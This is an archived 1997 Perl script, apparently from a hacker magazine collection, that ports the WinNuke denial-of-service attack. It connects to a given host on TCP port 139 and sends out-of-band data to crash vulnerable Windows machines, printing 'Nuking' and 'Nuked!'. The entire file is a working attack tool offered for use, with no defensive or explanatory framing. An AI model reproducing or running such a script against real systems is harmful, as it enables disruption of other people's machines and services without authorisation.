Freaks Macintosh Archive/Freaks Macintosh Archive.bin/Freaks Macintosh Archives/HackAddict™ Magazine/HackAddict 07/Files/winnuke.pl

Perl Script | 1997-10-27 | 602 b | 22 lines | [TEXT/R*ch]

#!/opt/bin/perl
# Ghent - [e-mail] - Perl version of winnuke.c by _eci
use strict;
use Socket;
my($h,$p,$in_addr,$proto,$addr);
$h = "$ARGV[0]";
$p = 139 if (!$ARGV[1]);
if (!$h) {print "A hostname must be provided. Ex: www.microsoft.com\n";}
$in_addr = (gethostbyname($h))[4];
$addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
#print "in_addr $in_addr addr $addr proto $proto\n";
socket(S, AF_INET, SOCK_STREAM, $proto) || die $!;
connect(S,$addr) or die $!;
select S;
$| = 1;
select STDOUT;
print "Nuking: $h:$p\n";
send S,"Sucker",MSG_OOB;
print "Nuked!\n";
close S;